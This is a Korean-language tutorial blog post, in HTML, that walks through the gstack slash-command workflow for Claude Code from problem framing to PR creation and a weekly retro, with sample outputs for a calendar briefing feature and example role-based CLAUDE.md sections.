&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 Google 캘린더를 관리하다 보면 이벤트 정보가 오래되거나 장소가 틀린 경우가 있고, 미팅 준비 시간이 너무 오래 걸린다. 이 문제를 해결하는 &quot;일일 브리핑 기능&quot;을 추가하려 한다. gstack 전체 워크플로우를 처음부터 끝까지 따라가 본다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1: /office-hours &amp;mdash; 문제 찾기 (5~10분)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;코드 한 줄도 쓰기 전에 &lt;code&gt;/office-hours&lt;/code&gt;로 시작한다. 6가지 강제 질문으로 &quot;일일 브리핑 앱&quot;이라는 생각을 검증한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude Code에 입력:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;erlang&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;일정 관리 앱에 일일 브리핑 기능을 추가하려 한다.
/office-hours&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 13px; color: #0066cc;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude의 응답 (gstack README 공식 예시 기반):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;잠깐. &quot;일일 브리핑 앱&quot;이라고 하셨는데, 실제로 묘사하신 것은 &lt;b&gt;개인 비서 AI(personal chief of staff AI)&lt;/b&gt;에 가깝습니다.&lt;br /&gt;&lt;br /&gt;몇 가지 구체적인 고통에 대해 더 파고들겠습니다:&lt;br /&gt;1. 지금은 이 문제를 어떻게 처리하고 있나요?&lt;br /&gt;2. 브리핑이 실패하는 구체적인 순간이 언제인가요?&lt;br /&gt;3. 이 기능 없이 가장 불편했던 실제 사례는?&lt;br /&gt;&lt;br /&gt;[답변 후 AI 분석]&lt;br /&gt;&lt;b&gt;제가 발견한 것:&lt;/b&gt;&lt;br /&gt;- &quot;일일 브리핑&quot;이 아니라 &lt;b&gt;준비 자동화&lt;/b&gt; 문제입니다&lt;br /&gt;- 5가지 기능을 동시에 묘사하셨는데, 내일까지 배포 가능한 최소 버전은: &lt;b&gt;다음 미팅 10분 전 자동 알림&lt;/b&gt;입니다&lt;br /&gt;- [3가지 구현 대안과 예상 작업량 제시]&lt;br /&gt;&lt;br /&gt;&lt;b&gt;권장:&lt;/b&gt; 가장 좁은 버전을 내일 배포하세요.&lt;br /&gt;[디자인 문서를 ~/.gstack/projects/에 저장 완료]&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 12px 18px; border-radius: 6px; border-left: 4px solid #28a745; margin: 15px 0;&quot;&gt;&lt;b&gt;무엇이 달라지는가?&lt;/b&gt; 범용 Claude Code에 같은 요청을 했다면 바로 코딩을 시작했을 것이다. /office-hours는 방향 자체를 재정의하고, 이 디자인 문서가 이후 모든 스킬의 입력이 된다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2: /autoplan &amp;mdash; 기획&amp;middot;디자인&amp;middot;엔지니어링 리뷰 자동 실행 (5분)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2664&quot; data-origin-height=&quot;1474&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDkPgl/dJMcaaxZTcV/pwhLjocJ60Srl0oqbp5s9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDkPgl/dJMcaaxZTcV/pwhLjocJ60Srl0oqbp5s9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDkPgl/dJMcaaxZTcV/pwhLjocJ60Srl0oqbp5s9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDkPgl%2FdJMcaaxZTcV%2FpwhLjocJ60Srl0oqbp5s9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2664&quot; height=&quot;1474&quot; data-origin-width=&quot;2664&quot; data-origin-height=&quot;1474&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2036638037908836635&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Garry Tan이 직접 권장하는 시작점&lt;/a&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/plan-ceo-review &amp;rarr; /plan-design-review &amp;rarr; /plan-eng-review&lt;/code&gt;를 수동으로 순차 실행하는 대신, &lt;code&gt;/autoplan&lt;/code&gt; 하나로 자동화한다. 판단이 필요한 &quot;taste decisions&quot;만 사용자에게 질문한다. (출처: Garry Tan X.com)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude Code에 입력:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;margin: 0;&quot;&gt;&lt;code&gt;/autoplan&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 13px; color: #0066cc;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;실행 결과 &amp;mdash; Review Readiness Dashboard (gstack docs/skills.md 공식 예시):&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;gherkin&quot; style=&quot;margin: 0; white-space: pre;&quot;&gt;&lt;code&gt;+====================================================================+
|                    REVIEW READINESS DASHBOARD                       |
+====================================================================+
| Review          | Runs | Last Run            | Status    | Required |
|-----------------|------|---------------------|-----------|----------|
| Eng Review      |  1   | 2026-03-16 15:00    | CLEAR     | YES      |
| CEO Review      |  1   | 2026-03-16 14:30    | CLEAR     | no       |
| Design Review   |  0   | &amp;mdash;                   | &amp;mdash;         | no       |
+--------------------------------------------------------------------+
| VERDICT: CLEARED &amp;mdash; Eng Review passed                                |
+====================================================================+&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;Eng Review가 유일한 필수(Required) 게이트다. CLEAR가 되면 구현을 시작할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;계획이 확정됐다. 이제 Claude Code로 실제 구현을 진행한다 (gstack README 예시 기준: 약 8분, 11개 파일, 2,400줄 작성).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3: /review &amp;mdash; Staff Engineer 코드 감사 (3분)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;코딩이 끝났다면 Staff Engineer 모드로 검토한다. CI를 통과하더라도 프로덕션에서 문제가 될 수 있는 버그를 찾는다. N+1 쿼리, 레이스 컨디션, 누락된 타임아웃, 잘못된 재시도 로직 등을 자동으로 탐색한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude Code에 입력:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0;&quot;&gt;&lt;code&gt;/review&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 13px; color: #0066cc;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;실행 결과 (gstack README 공식 예시 기반):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[AUTO-FIXED]&lt;/b&gt; 2건 자동 수정됨&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;bull; auth/session.ts:147 &amp;mdash; 만료 토큰 자동 갱신 누락&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;bull; api/calendar.ts:89 &amp;mdash; API 타임아웃 처리 누락&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[ASK]&lt;/b&gt; 판단이 필요한 항목 1건:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;bull; services/sync.ts:203 &amp;mdash; 두 캘린더 동기화 요청이 동시에 들어올 때 race condition 발생 가능.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;뮤텍스(mutex)를 추가하면 안전하지만 성능이 약간 낮아집니다. 추가할까요? &lt;b&gt;[Y/N]&lt;/b&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 12px 18px; border-radius: 6px; border-left: 4px solid #28a745; margin: 15px 0;&quot;&gt;&lt;b&gt;포인트:&lt;/b&gt; [AUTO-FIXED]는 Claude가 판단 없이 고쳐도 되는 명확한 버그다. [ASK]는 트레이드오프가 있어 개발자의 결정이 필요한 항목이다 &amp;mdash; 기술적 가능성을 제시하고 결정은 사람이 한다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 4: /qa &amp;mdash; 실제 브라우저 자동화 테스트 (5분)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;코드 리뷰가 끝났다면 실제 Chromium 브라우저로 앱을 테스트한다. &lt;code&gt;/qa&lt;/code&gt;는 &lt;b&gt;diff-aware&lt;/b&gt;로 변경 사항이 영향을 미치는 페이지를 먼저 테스트하고, 버그를 발견하면 atomic commit으로 수정한 뒤 회귀 테스트까지 자동 생성한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude Code에 입력:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;vim&quot; style=&quot;margin: 0;&quot;&gt;&lt;code&gt;/qa https://localhost:3000&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 13px; color: #0066cc;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;실행 과정 (기능 설명 기반 예시, [ESTIMATE]):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;git diff 분석 중... 브리핑 API, 알림 컴포넌트 변경 감지&lt;br /&gt;실제 Chromium 시작 중... (첫 실행 ~3초, 이후 ~100ms/명령)&lt;br /&gt;&lt;br /&gt;[1/4] /dashboard &amp;mdash; 브리핑 카드 렌더링&lt;br /&gt;[2/4] /settings/notifications &amp;mdash; 알림 설정 저장&lt;br /&gt;[3/4] /api/briefing/generate &amp;mdash; 응답 2.3초 (권장: 2초 이하)&lt;br /&gt;[4/4] 캘린더 연결 해제 시 fallback 화면 버그 발견&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[AUTO-FIX]&lt;/b&gt; 오류 화면 &amp;rarr; 빈 상태 UI로 수정 후 커밋&lt;br /&gt;회귀 테스트 자동 생성: tests/calendar-disconnected.spec.ts&lt;br /&gt;&lt;br /&gt;앱 건강 점수: 72/100 &amp;rarr; 89/100&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 12px; color: #888;&quot; data-ke-size=&quot;size14&quot;&gt;[ESTIMATE] 위 출력 형식은 /qa의 공식 기능(diff-aware 테스트, auto-fix, 회귀 테스트 생성, Health Score)을 기반으로 재구성한 예시입니다. 실제 출력 형식은 다를 수 있습니다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 12px 18px; border-radius: 6px; border-left: 4px solid #ffc107; margin: 15px 0;&quot;&gt;&lt;b&gt;팁 &amp;mdash; 로그인이 필요한 페이지 테스트:&lt;/b&gt; 먼저 &lt;code&gt;/setup-browser-cookies&lt;/code&gt;를 실행한다. Chrome/Arc/Brave/Edge의 실제 쿠키를 가져와 헤드리스 브라우저에 임포트하므로, 로그인된 상태로 대시보드&amp;middot;관리자 페이지를 테스트할 수 있다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 5: /ship &amp;mdash; PR 생성 및 배포 (2분)&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #dc3545; margin: 20px 0;&quot;&gt;&lt;b&gt;주의: /ship은 실제로 코드를 push하고 PR을 생성한다&lt;/b&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/ship&lt;/code&gt;은 데모가 아닌 &lt;b&gt;실제 git push + PR 생성&lt;/b&gt;을 수행한다. 처음 gstack을 테스트한다면 &lt;b&gt;별도의 테스트 레포&lt;/b&gt;를 만들어 사용하는 것을 권장한다. 프로덕션 레포에서 실수를 방지하려면 먼저 &lt;code&gt;/careful&lt;/code&gt; 또는 &lt;code&gt;/freeze&lt;/code&gt;를 실행하여 안전 가드레일을 활성화할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;QA까지 통과했다면 이제 배포할 차례다. &lt;code&gt;/ship&lt;/code&gt;이 main 싱크, 테스트 실행, 커버리지 감사, PR 생성을 한 번에 처리한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude Code에 입력:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0;&quot;&gt;&lt;code&gt;/ship&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 13px; color: #0066cc;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;실행 결과 (gstack README 공식 예시):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;main 최신화 중...&lt;br /&gt;테스트 실행 중...&lt;br /&gt;&lt;br /&gt;커버리지: &lt;b&gt;42 &amp;rarr; 51 테스트&lt;/b&gt; (+9 신규)&lt;br /&gt;&lt;br /&gt;PR 생성 완료: &lt;span style=&quot;color: #0066cc;&quot;&gt;https://github.com/you/calendar-app/pull/42&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보너스: /retro &amp;mdash; 주간 회고 (1분)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한 주가 끝나면 &lt;code&gt;/retro&lt;/code&gt;로 팀 메트릭과 개인별 피드백을 확인한다. 팀원 전체를 다루려면 &lt;code&gt;/retro global&lt;/code&gt;로 프로젝트 전체 집계도 볼 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 15px 20px; border-radius: 8px; border: 1px solid #dee2e6; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;Claude Code에 입력:&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 15px 20px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0;&quot;&gt;&lt;code&gt;/retro&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-size: 13px; color: #0066cc;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;실행 결과 (gstack docs/skills.md 공식 예시):&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; line-height: 1.9;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3월 1일 주차:&lt;/b&gt; 47 커밋 (팀 3명) | 3,200 LOC | 테스트 비율 38% | PR 12개 | 피크: 오후 10시 | 스트릭: 47일&lt;br /&gt;&lt;br /&gt;&lt;b&gt;나의 이번 주&lt;/b&gt;&lt;br /&gt;32 커밋, +2,400 LOC, 테스트 41%. 피크: 오후 9~11시&lt;br /&gt;가장 큰 성과: 쿠키 임포트 시스템 (브라우저 복호화 + 피커 UI)&lt;br /&gt;잘 한 것: 암호화, UI, 18개 유닛 테스트를 하나의 집중된 푸시로 완성&lt;br /&gt;&lt;br /&gt;&lt;b&gt;팀원 Alice&lt;/b&gt;&lt;br /&gt;12 커밋, app/services/ 집중. 모든 PR 200 LOC 이하&lt;br /&gt;기회: 테스트 비율 12% &amp;mdash; 결제 기능이 복잡해지기 전에 보강 권장&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1a3a52; color: white; padding: 20px 25px; border-radius: 12px; margin: 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: white; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;전체 스프린트 워크플로우 요약&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYopD6/dJMcac3BWvo/0DporUN1B46zUJK1ThZTkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYopD6/dJMcac3BWvo/0DporUN1B46zUJK1ThZTkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYopD6/dJMcac3BWvo/0DporUN1B46zUJK1ThZTkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYopD6%2FdJMcac3BWvo%2F0DporUN1B46zUJK1ThZTkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1970&quot; height=&quot;1102&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0; line-height: 2.2;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background-color: rgba(255,255,255,0.15); padding: 2px 8px; border-radius: 4px;&quot;&gt;/office-hours&lt;/code&gt; 문제 재정의 (5~10분)&lt;br /&gt;&amp;rarr; &lt;code style=&quot;background-color: rgba(255,255,255,0.15); padding: 2px 8px; border-radius: 4px;&quot;&gt;/autoplan&lt;/code&gt; CEO&amp;middot;디자인&amp;middot;엔지니어링 리뷰 자동화 (5분)&lt;br /&gt;&amp;rarr; 구현 (시간 가변, Claude Code 기본 기능)&lt;br /&gt;&amp;rarr; &lt;code style=&quot;background-color: rgba(255,255,255,0.15); padding: 2px 8px; border-radius: 4px;&quot;&gt;/review&lt;/code&gt; Staff Engineer 코드 감사 (3분)&lt;br /&gt;&amp;rarr; &lt;code style=&quot;background-color: rgba(255,255,255,0.15); padding: 2px 8px; border-radius: 4px;&quot;&gt;/qa&lt;/code&gt; 브라우저 자동화 테스트 (5분)&lt;br /&gt;&amp;rarr; &lt;code style=&quot;background-color: rgba(255,255,255,0.15); padding: 2px 8px; border-radius: 4px;&quot;&gt;/ship&lt;/code&gt; PR 생성 (2분)&lt;br /&gt;&amp;rarr; &lt;code style=&quot;background-color: rgba(255,255,255,0.15); padding: 2px 8px; border-radius: 4px;&quot;&gt;/retro&lt;/code&gt; 주간 회고 (주 1회)&lt;/p&gt;
&lt;p style=&quot;margin: 15px 0 0 0; font-size: 13px; color: rgba(255,255,255,0.7);&quot; data-ke-size=&quot;size14&quot;&gt;gstack 오버헤드: 약 25분 | 가장 큰 가치: /office-hours에서 방향을 제대로 잡는 10분&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 11: 직접 따라하기 ===== --&gt;
&lt;h2 id=&quot;section11&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 직접 따라하기 &amp;mdash; 나만의 역할별 에이전트 셋업&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack을 그대로 사용하는 것 외에도, 이 철학을 응용해서 자신만의 역할별 CLAUDE.md를 만들 수 있다. gstack 없이도 핵심 아이디어를 적용하는 방법을 소개한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1: 역할 매핑하기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;내 프로젝트에서 어떤 역할이 필요한지 먼저 정의한다. 소규모 스타트업이라면 다음 정도가 실용적이다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 나만의 역할 정의 예시
역할 1: PM/기획 모드
  &amp;rarr; &quot;이 기능이 왜 필요한가? 사용자 가치는 무엇인가?&quot;
  &amp;rarr; 요구사항 명확화, 우선순위 결정

역할 2: 아키텍처 모드
  &amp;rarr; &quot;어떻게 구현할 것인가? 확장성은?&quot;
  &amp;rarr; 기술 스택 결정, 데이터 모델 설계

역할 3: 구현 모드 (일반 Claude Code 사용)
  &amp;rarr; 실제 코드 작성

역할 4: 리뷰 모드
  &amp;rarr; &quot;버그는 없는가? 보안 이슈는? 성능은?&quot;
  &amp;rarr; 엄격한 시각으로 코드 재검토

역할 5: 배포 모드
  &amp;rarr; 체크리스트 기반 배포 진행&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2: 역할별 CLAUDE.md 섹션 작성&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;단일 CLAUDE.md 파일 내에 역할별 섹션을 만들거나, 역할별로 별도 파일을 만들어 &quot;지금은 이 모드로 동작해줘&quot;라고 지정한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# CLAUDE.md &amp;mdash; PM 모드 섹션 예시

## [PM 모드] 기획 단계 지침
이 모드에서는 제품 매니저의 시각으로 분석한다.

### 핵심 질문
1. 이 기능이 실제 사용자 문제를 해결하는가?
2. 더 간단한 방법은 없는가?
3. 이 기능 없이 MVP가 가능한가?
4. 성공 지표(metrics)는 무엇인가?

### 산출물
- 사용자 스토리 (User Story)
- 인수 기준 (Acceptance Criteria)
- 우선순위 결정 근거

---

## [아키텍처 모드] 설계 단계 지침
이 모드에서는 시니어 엔지니어의 시각으로 분석한다.

### 핵심 질문
1. 데이터 플로우는 명확한가?
2. 확장성 병목은 어디인가?
3. 에지 케이스는 무엇인가?
4. 기술 부채를 만들지 않는가?

### 산출물
- 아키텍처 다이어그램
- API 인터페이스 정의
- 에지 케이스 목록&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
